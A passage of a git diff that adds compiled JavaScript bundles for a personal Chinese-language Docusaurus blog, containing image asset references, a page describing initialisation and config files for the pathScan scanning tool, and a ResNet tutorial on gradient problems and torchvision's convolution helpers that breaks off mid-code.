n=i.p+"assets/images/640-20251105111705087-2312625-b4939109649187d34cb65a7e33272c4a.png"},75373:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705111-1e259ab96b522084de54625abe5d78dd.png"},77141:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704461-f0b18d6a548e5f9e6f5d98c7f9d0573f.png"},78420:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704932-4cf598b91e740b7e76a6db98f23ad0f3.png"},82676:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704877-b7068b3eae0b986c0ade18a3e1d7b916.png"},85987:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704759-0a4d67e9e532445b938dc184a7567df5.png"},86077:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-d5c905bfda9b6a149a52f11d109202ff.png"},86503:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704579-42d4d6fec2bda63eacf4ecf65658a5a8.png"},90079:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705113-66a1edbc225f46b305a6e6a2d54671a0.png"},90899:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704971-42ccc6072171a6990dfce6e1e3ae99b1.png"},94008:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705180-6766f842211a1e9806e554b68f7438f9.png"},96730:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705277-1b60509f70199a73866ba0a045f44264.png"},97398:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705010-ff3c135bce353e96cc6ef13ce2212aa2.png"},98443:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705060-2daa47ee97fa73b3efba195ab84f6691.png"}}]); \ No newline at end of file diff --git a/en/assets/js/8496991d.8f1ec75b.js b/en/assets/js/8496991d.8f1ec75b.js new file mode 100644 index 0000000..56aa03f --- /dev/null +++ b/en/assets/js/8496991d.8f1ec75b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9191],{28453:(e,n,t)=>{t.d(n,{R:()=>l,x:()=>d});var c=t(96540);const s={},i=c.createContext(s);function l(e){const n=c.useContext(i);return c.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:l(e.components),c.createElement(i.Provider,{value:n},e.children)}},92281:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>r,contentTitle:()=>d,default:()=>o,frontMatter:()=>l,metadata:()=>c,toc:()=>a});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316","title":"\u521d\u59cb\u5316","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/02.\u521d\u59cb\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/02.\u521d\u59cb\u5316.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4e0b\u8f7d\u5b89\u88c5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5"},"next":{"title":"\u547d\u4ee4\u53c2\u6570","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570"}}');var s=t(74848),i=t(28453);const l={},d="\u521d\u59cb\u5316path",r={},a=[{value:"\u5f00\u59cb",id:"\u5f00\u59cb",level:2},{value:"\u914d\u7f6e\u6587\u4ef6",id:"\u914d\u7f6e\u6587\u4ef6",level:2}];function h(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:50:57"})]})})]}),"\n",(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"\u521d\u59cb\u5316path",children:"\u521d\u59cb\u5316path"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsxs)(n.p,{children:["\u5b89\u88c5 ",(0,s.jsx)(n.a,{href:"./%E4%B8%8B%E8%BD%BD%E5%AE%89%E8%A3%85.html",children:"pathScan"})," \u5b8c\u6210\u540e\uff0cpathScan\u9700\u8981\u5bf9\u5176\u8fdb\u884c\u521d\u59cb\u5316\u624d\u80fd\u6b63\u5e38\u8fd0\u884c"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5f00\u59cb",children:"\u5f00\u59cb"}),"\n",(0,s.jsxs)(n.p,{children:["\u9996\u6b21\u8fd0\u884c\u540e\uff0c\u5373\u53ef\u5b8c\u6210\u521d\u59cb\u5316\uff0c",(0,s.jsx)(n.code,{children:".check"})," \u521b\u5efa\u5b8c\u6210\u540e\uff0c\u5219\u4e0d\u4f1a\u518d\u6b21\u8fdb\u884c\u521d\u59cb\u5316"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650224.png",alt:"image-20230815120938498"})}),"\n",(0,s.jsx)(n.h2,{id:"\u914d\u7f6e\u6587\u4ef6",children:"\u914d\u7f6e\u6587\u4ef6"}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd0\u884c\u6240\u9700\u7684\u914d\u7f6e\u6587\u4ef6\u5747\u5728 ",(0,s.jsx)(n.code,{children:"$HOME/.config/pathScan"})," \u4e2d\uff0c\u5f53\u7136\u8fd9\u4e9b\u6587\u4ef6\u5747\u4e0d\u7528\u63d0\u524d\u521b\u5efa\uff0c\u521d\u59cb\u5316\u65f6\uff0c\u4f1a\u81ea\u52a8\u521b\u5efa\u5b8c\u6bd5"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"provider-config.yaml"})," \u4e3a\u7f51\u7edc\u7a7a\u95f4\u6d4b\u7ed8\u641c\u7d22\u5f15\u64ce\u7684API\u914d\u7f6e\u6587\u4ef6\uff0c\u53ef\u4ee5\u8bbe\u7f6e\u591a\u4e2akey\uff0c\u8fd0\u884c\u65f6\u968f\u673a\u9009\u62e9key"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650225.png",alt:"image-20230815122418577"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"config.yaml"})," \u4e3a\u547d\u4ee4\u884c\u914d\u7f6e\uff0c\u5982\u679c\u4f60\u4e0d\u60f3\u8f93\u5165\u8fc7\u957f\u7684\u547d\u4ee4\uff0c\u5219\u53ef\u4ee5\u5c06\u53c2\u6570\u914d\u7f6e\u5728\u8be5\u6587\u4e2d\uff0c\u8fd0\u884c\u65f6\u4f1a\u81ea\u52a8\u8bfb\u53d6\u8be5\u6587\u4ef6\u5185\u5bb9"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650226.png",alt:"image-20230815122809534"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"dict"})," \u5b58\u653e\u7684\u9ed8\u8ba4\u8def\u5f84\u5b57\u5178"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650227.png",alt:"image-20230815123631291"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"match-config"})," \u6307\u7eb9\u5e93 ",(0,s.jsx)(n.a,{href:"https://github.com/wjlin0/pathScan-match",children:"pathScan-match"})," \u4e2d\u7684\u6240\u6709\u6307\u7eb9\u6587\u4ef6"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650228.png",alt:"image-20230815124747394"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"js"})," html\u683c\u5f0f\u8f93\u51fa\u65f6\u6240\u9700\u8981\u7684\u6a21\u677f\u6587\u4ef6"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650229.png",alt:"image-20230815125015508"})})]})}function o(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/866c1a54.6fc6d477.js b/en/assets/js/866c1a54.6fc6d477.js new file mode 100644 index 0000000..3522628 --- /dev/null +++ b/en/assets/js/866c1a54.6fc6d477.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6593],{5411:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/block-bd525508c9ef693cb5a45c56b07519d3.jpg"},15976:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/shortcut-332ff3aeabe351ba9b4c933bfdebea1f.jpg"},19243:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/expansion-0109d5db605c33d1ee3b5a2b18a95927.jpg"},28453:(n,e,s)=>{s.d(e,{R:()=>o,x:()=>r});var l=s(96540);const t={},i=l.createContext(t);function o(n){const e=l.useContext(i);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:o(n.components),l.createElement(i.Provider,{value:e},n.children)}},39438:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>a,contentTitle:()=>r,default:()=>p,frontMatter:()=>o,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet","title":"4.1 ResNet.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.1 ResNet.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.1 ResNet.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u56db\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/"},"next":{"title":"4.2 GoogleNet.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet"}}');var t=s(74848),i=s(28453);const o={},r="4.1 ResNet.md",a={},c=[{value:"1 \u57fa\u672c\u4ecb\u7ecd",id:"1-\u57fa\u672c\u4ecb\u7ecd",level:2},{value:"2 \u6e90\u7801\u89e3\u8bfb",id:"2-\u6e90\u7801\u89e3\u8bfb",level:2},{value:"2.1 \u5377\u79ef\u6838\u7684\u5c01\u88c5",id:"21-\u5377\u79ef\u6838\u7684\u5c01\u88c5",level:3},{value:"2.2 \u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",id:"22-\u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",level:3},{value:"2.2.1 Shortcut Connection.",id:"221-shortcut-connection",level:4},{value:"2.2.2 BasicBlock",id:"222-basicblock",level:4},{value:"2.2.3 BottleNeck",id:"223-bottleneck",level:4},{value:"2.3 \u7f51\u7edc\u6574\u4f53\u7ed3\u6784",id:"23-\u7f51\u7edc\u6574\u4f53\u7ed3\u6784",level:3},{value:"3 \u603b\u7ed3",id:"3-\u603b\u7ed3",level:2}];function d(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"41-resnetmd",children:"4.1 ResNet.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"41-resnet",children:"4.1 ResNet"}),"\n",(0,t.jsx)(e.p,{children:"\u6b8b\u5dee\u795e\u7ecf\u7f51\u7edc(ResNet)\u662f\u7531\u5fae\u8f6f\u7814\u7a76\u9662\u7684\u4f55\u607a\u660e\u3001\u5f20\u7965\u96e8\u3001\u4efb\u5c11\u537f\u3001\u5b59\u5251\u7b49\u4eba\u63d0\u51fa\u7684\u3002\u5b83\u7684\u4e3b\u8981\u8d21\u732e\u662f\u53d1\u73b0\u4e86\u5728\u589e\u52a0\u7f51\u7edc\u5c42\u6570\u7684\u8fc7\u7a0b\u4e2d\uff0c\u968f\u7740\u8bad\u7ec3\u7cbe\u5ea6(Training accuracy)\u9010\u6e10\u8d8b\u4e8e\u9971\u548c\uff0c\u7ee7\u7eed\u589e\u52a0\u5c42\u6570\uff0ctraining accuracy \u5c31\u4f1a\u51fa\u73b0\u4e0b\u964d\u7684\u73b0\u8c61\uff0c\u800c\u8fd9\u79cd\u4e0b\u964d\u4e0d\u662f\u7531\u8fc7\u62df\u5408\u9020\u6210\u7684\u3002\u4ed6\u4eec\u5c06\u8fd9\u4e00\u73b0\u8c61\u79f0\u4e4b\u4e3a\u201c\u9000\u5316\u73b0\u8c61\uff08Degradation\uff09\u201d\uff0c\u5e76\u9488\u5bf9\u9000\u5316\u73b0\u8c61\u53d1\u660e\u4e86 \u201c\u5feb\u6377\u8fde\u63a5\uff08Shortcut connection\uff09\u201d\uff0c\u6781\u5927\u7684\u6d88\u9664\u4e86\u6df1\u5ea6\u8fc7\u5927\u7684\u795e\u7ecf\u7f51\u7edc\u8bad\u7ec3\u56f0\u96be\u95ee\u9898\u3002\u795e\u7ecf\u7f51\u7edc\u7684\u201c\u6df1\u5ea6\u201d\u9996\u6b21\u7a81\u7834\u4e86100\u5c42\u3001\u6700\u5927\u7684\u795e\u7ecf\u7f51\u7edc\u751a\u81f3\u8d85\u8fc7\u4e861000\u5c42\u3002\uff08\u5728\u6b64\uff0c\u5411\u5df2\u6545\u7684\u5b59\u5251\u535a\u58eb\u8868\u793a\u5d07\u9ad8\u7684\u656c\u610f\uff09"}),"\n",(0,t.jsx)(e.p,{children:"\u901a\u8fc7\u672c\u6587\u4f60\u5c06\u5b66\u4e60\u5230\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u68af\u5ea6\u6d88\u5931/\u7206\u70b8\u7684\u7b80\u4ecb"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u4ee3\u7801\u91cc\u9762\u4e3a\u4ec0\u4e48\u8981\u8bbe\u8ba1BasicBlock\u548cBottleneck\u4e24\u79cd\u7ed3\u6784"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u4ee3\u7801\u91cc\u9762\u7684expansion\u4f5c\u7528"}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"1-\u57fa\u672c\u4ecb\u7ecd",children:"1 \u57fa\u672c\u4ecb\u7ecd"}),"\n",(0,t.jsxs)(e.p,{children:["\u968f\u7740\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u51fa\u73b0\uff0c\u4eba\u4eec\u53d1\u73b0\u591a\u5c42\u5377\u79ef\u6216\u8005\u5168\u8fde\u63a5\u7f51\u7edc\u7684\u6548\u679c\u5927\u4e8e\u5355\u5c42\u5377\u79ef\u6216\u8005\u5168\u8fde\u63a5\u7f51\u7edc\u3002\u4e8e\u662f\u5f88\u591a\u4eba\u6f5c\u610f\u8bc6\u8ba4\u4e3a\u7f51\u7edc\u7684\u5c42\u6570\u8d8a\u591a\uff0c\u5176\u6548\u679c\u5c31\u4f1a\u8d8a\u597d\u3002\u4f46\u662f\u5f53\u65f6\u5fae\u8f6f\u7814\u7a76\u9662\u7684\u4f55\u607a\u660e\u3001\u5f20\u7965\u96e8\u3001\u4efb\u5c11\u537f\u3001\u5b59\u5251\u7b49\u4eba\u53d1\u73b0\u52a0\u6df1\u7f51\u7edc\u7684\u6df1\u5ea6\u540e\uff0c\u6574\u4e2a\u7f51\u7edc\u7684\u6548\u679c\u53cd\u800c\u53d8\u5dee\u4e86\u8bb8\u591a\u3002\u4ed6\u4eec\u8ba4\u4e3a\u5f88\u6df1\u7684\u7f51\u7edc\u65e0\u6cd5\u8bad\u7ec3\u7684\u539f\u56e0\u53ef\u80fd\u662f\u7f51\u7edc\u5728\u4fe1\u606f\u4f20\u9012\u7684\u65f6\u5019\u6216\u591a\u6216\u5c11\u4f1a\u5b58\u5728\u4fe1\u606f\u4e22\u5931\uff0c\u635f\u8017\u7b49\u95ee\u9898\uff0c\u540c\u65f6\u8fd8\u53ef\u80fd\u51fa\u73b0\u68af\u5ea6\u6d88\u5931\u6216\u8005\u68af\u5ea6\u7206\u70b8\u73b0\u8c61\u3002\u9488\u5bf9\u8fd9\u4e2a\u95ee\u9898\uff0c\u4ed6\u4eec\u63d0\u51fa\u4e86ResNet\u4ee5\u671f\u671b\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0cResNet\u7684\u51fa\u73b0\u4e5f\u8ba9\u795e\u7ecf\u7f51\u7edc\u9010\u6e10\u771f\u6b63\u8d70\u5411\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u3002ResNet\u6700\u5927\u7684\u8d21\u732e\u5728\u4e8e\u6dfb\u52a0\u4e86shortcut connection\u5c06\u8f93\u5165\u76f4\u63a5\u8fde\u63a5\u5230\u540e\u9762\u7684\u5c42\uff0c\u4e00\u5b9a\u7a0b\u5ea6\u7f13\u89e3\u4e86\u68af\u5ea6\u6d88\u5931\u548c\u68af\u5ea6\u7206\u70b8\u5e76\u63d0\u9ad8\u4e86\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u7684\u6548\u679c\u3002\u63a5\u4e0b\u6765\u6211\u4eec\u8be6\u7ec6\u7684\u89e3\u91ca\u4e00\u4e0b",(0,t.jsx)(e.strong,{children:"\u68af\u5ea6\u6d88\u5931"}),"\u548c",(0,t.jsx)(e.strong,{children:"\u68af\u5ea6\u7206\u70b8"}),"\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u68af\u5ea6\u6d88\u5931\u548c\u68af\u5ea6\u7206\u70b8\u7684\u6839\u6e90\u4e3b\u8981\u662f\u56e0\u4e3a\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u7ed3\u6784\u4ee5\u53ca\u53cd\u5411\u4f20\u64ad\u7b97\u6cd5\uff0c\u76ee\u524d\u4f18\u5316\u795e\u7ecf\u7f51\u7edc\u7684\u65b9\u6cd5\u90fd\u662f\u57fa\u4e8e\u53cd\u5411\u4f20\u64ad\u7684\u601d\u60f3\uff0c\u5373\u6839\u636e\u635f\u5931\u51fd\u6570\u8ba1\u7b97\u7684\u8bef\u5dee\u901a\u8fc7\u53cd\u5411\u4f20\u64ad\u7684\u65b9\u5f0f\uff0c\u6307\u5bfc\u6df1\u5ea6\u7f51\u7edc\u6743\u503c\u7684\u66f4\u65b0\u3002\u8bef\u5dee\u68af\u5ea6\u662f\u795e\u7ecf\u7f51\u7edc\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u8ba1\u7b97\u7684\u65b9\u5411\u548c\u6570\u91cf\uff0c\u7528\u4e8e\u4ee5\u6b63\u786e\u7684\u65b9\u5411\u548c\u5408\u9002\u7684\u91cf\u66f4\u65b0\u7f51\u7edc\u6743\u91cd\u3002 \u5728\u6df1\u5c42\u7f51\u7edc\u6216\u5faa\u73af\u795e\u7ecf\u7f51\u7edc\u4e2d\uff0c\u8bef\u5dee\u68af\u5ea6\u53ef\u5728\u66f4\u65b0\u4e2d\u7d2f\u79ef\uff0c\u53d8\u6210\u975e\u5e38\u5927\u7684\u68af\u5ea6\uff0c\u7136\u540e\u5bfc\u81f4\u7f51\u7edc\u6743\u91cd\u7684\u5927\u5e45\u66f4\u65b0\uff0c\u5e76\u56e0\u6b64\u4f7f\u7f51\u7edc\u53d8\u5f97\u4e0d\u7a33\u5b9a\u3002\u5728\u6781\u7aef\u60c5\u51b5\u4e0b\uff0c\u6743\u91cd\u7684\u503c\u53d8\u5f97\u975e\u5e38\u5927\uff0c\u4ee5\u81f3\u4e8e\u6ea2\u51fa\uff0c\u5bfc\u81f4 NaN \u503c\u3002 ",(0,t.jsx)(e.strong,{children:"\u7f51\u7edc\u5c42\u4e4b\u95f4\u7684\u68af\u5ea6\uff08\u503c\u5927\u4e8e 1.0\uff09\u91cd\u590d\u76f8\u4e58\u5bfc\u81f4\u7684\u6307\u6570\u7ea7\u589e\u957f\u4f1a\u4ea7\u751f\u68af\u5ea6\u7206\u70b8\u3002"})," \u5728\u6df1\u5ea6\u591a\u5c42\u611f\u77e5\u673a\u7f51\u7edc\u4e2d\uff0c\u68af\u5ea6\u7206\u70b8\u4f1a\u5f15\u8d77\u7f51\u7edc\u4e0d\u7a33\u5b9a\uff0c\u6700\u597d\u7684\u7ed3\u679c\u662f\u65e0\u6cd5\u4ece\u8bad\u7ec3\u6570\u636e\u4e2d\u5b66\u4e60\uff0c\u800c\u6700\u574f\u7684\u7ed3\u679c\u662f\u51fa\u73b0\u65e0\u6cd5\u518d\u66f4\u65b0\u7684 NaN \u6743\u91cd\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u800c\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u68af\u5ea6\u4f1a\u53d8\u5f97\u975e\u5e38\u5c0f\uff0c ",(0,t.jsx)(e.strong,{children:"\u7f51\u7edc\u5c42\u4e4b\u95f4\u7684\u68af\u5ea6\uff08\u503c\u5c0f\u4e8e 1.0\uff09\u91cd\u590d\u76f8\u4e58\u5bfc\u81f4\u7684\u6307\u6570\u7ea7\u53d8\u5c0f\u4f1a\u4ea7\u751f\u68af\u5ea6\u6d88\u5931"}),"\u3002\u5728\u6700\u574f\u7684\u60c5\u51b5\u4e0b\uff0c\u8fd9\u53ef\u80fd\u4f1a\u5b8c\u5168\u505c\u6b62\u795e\u7ecf\u7f51\u7edc\u7684\u8fdb\u4e00\u6b65\u8bad\u7ec3\u3002\u4f8b\u5982\uff0c\u4f20\u7edf\u7684\u6fc0\u6d3b\u51fd\u6570(\u5982\u53cc\u66f2\u6b63\u5207\u51fd\u6570)\u5177\u6709\u8303\u56f4(0,1)\u5185\u7684\u68af\u5ea6\uff0c\u53cd\u5411\u4f20\u64ad\u901a\u8fc7\u94fe\u5f0f\u6cd5\u5219\u8ba1\u7b97\u68af\u5ea6\u3002\u8fd9\u6837\u505a\u7684\u6548\u679c\u662f\uff0c\u7528\u8fd9\u4e9b\u5c0f\u6570\u5b57\u7684n\u4e58\u4ee5n\u6765\u8ba1\u7b97n\u5c42\u7f51\u7edc\u4e2d\u201c\u524d\u7aef\u201d\u5c42\u7684\u68af\u5ea6\uff0c\u8fd9\u610f\u5473\u7740\u68af\u5ea6(\u8bef\u5dee\u4fe1\u53f7)\u968fn\u5448\u6307\u6570\u9012\u51cf\uff0c\u800c\u524d\u7aef\u5c42\u7684\u8bad\u7ec3\u975e\u5e38\u7f13\u6162\u3002\u6700\u7ec8\u5bfc\u81f4\u66f4\u65b0\u505c\u6ede\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"2-\u6e90\u7801\u89e3\u8bfb",children:"2 \u6e90\u7801\u89e3\u8bfb"}),"\n",(0,t.jsxs)(e.p,{children:["\u4e3a\u4e86\u5e2e\u52a9\u5927\u5bb6\u5bf9ResNet\u6709\u66f4\u597d\u7684\u7406\u89e3\uff0c\u6211\u4eec\u4f7f\u7528",(0,t.jsx)(e.a,{href:"https://github.com/pytorch/vision/blob/master/torchvision/models/resnet.py",children:"torchvision\u7684ResNet\u6e90\u7801"}),"\u8fdb\u884c\u89e3\u8bfb\u3002"]}),"\n",(0,t.jsx)(e.h3,{id:"21-\u5377\u79ef\u6838\u7684\u5c01\u88c5",children:"2.1 \u5377\u79ef\u6838\u7684\u5c01\u88c5"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u4ee3\u7801\u7684\u5f00\u59cb\uff0c\u9996\u5148\u5c01\u88c5\u4e863x3\u548c1x1\u7684\u5377\u79ef\u6838\uff0c\u8fd9\u6837\u53ef\u4ee5\u589e\u52a0\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u3002\u9664\u4e86\u8fd9\u79cd\u4ee3\u7801\u5199\u6cd5\u5916\uff0c\u8fd8\u6709\u8bb8\u591a\u6df1\u5ea6\u5b66\u4e60\u4ee3\u7801\u5728\u5f00\u59cb\u4e5f\u4f1a\u5c06\u5377\u79ef\u5c42\uff0c\u6fc0\u6d3b\u51fd\u6570\u5c42\u548cBN\u5c42\u5c01\u88c5\u5728\u4e00\u8d77\uff0c\u540c\u6837\u662f\u4e3a\u4e86\u589e\u52a0\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'def conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1) -> nn.Conv2d:\n """3x3 convolution with padding"""\n return nn.Conv2d(\n in_planes,\n out_planes,\n kernel_size=3,\n stride=stride,\n padding=dilation,\n groups=groups,\n bias=False,\n dilation=dilation,\n 